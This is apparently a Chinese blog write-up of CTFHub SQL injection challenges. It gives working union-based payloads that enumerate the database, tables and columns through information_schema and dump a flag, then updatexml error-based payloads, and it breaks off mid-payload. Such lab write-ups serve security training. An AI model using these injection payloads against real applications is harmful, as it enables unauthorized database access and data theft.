CTFHUB-WEB-SQL注入【04】整数、字符、报错注入、布尔盲注、时间盲注、cookie注入、UA注入、refer注入

最新推荐文章于 2024-10-16 20:50:44 发布

(∪.∪ )...zzz

最新推荐文章于 2024-10-16 20:50:44 发布

阅读量417

点赞数

本文链接：https://blog.youkuaiyun.com/grb819/article/details/117753438

版权

本文详细介绍了几种常见的SQL注入攻击手法，包括字符型注入、报错注入、布尔盲注等，并提供了具体的实施步骤与实例。此外，还介绍了如何利用工具如sqlmap进行自动化攻击，以及在不同注入场景下的应对策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

字符型注入

1
在这里插入图片描述

?id=1’ and 1=1–+

?id=1’ order by 2–+
在这里插入图片描述

?id=-1' union select database(),2--+

在这里插入图片描述

?id=-1' union select group_concat(table_name) ,2 from information_schema.tables where table_schema='sqli' --+

数据库名是sqli
在这里插入图片描述

表名是flag

?id=-1' union select group_concat(column_name) ,2 from information_schema.columns where table_name='flag' --+

在这里插入图片描述

列名flag

?id=-1' union select group_concat(flag)  ,2 from sqli.flag --+

在这里插入图片描述

在这里插入图片描述

UPDATEXML (XML_document, XPath_string, new_value);

?id=1 and 1=(updatexml(1,concat(0x7e,database(),0x7e),1))

在这里插入图片描述

?id=1 and 1=(updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli')),1))

在这里插入图片描述

?id=1 and 1=(updatexml(1,concat(0x7e,(select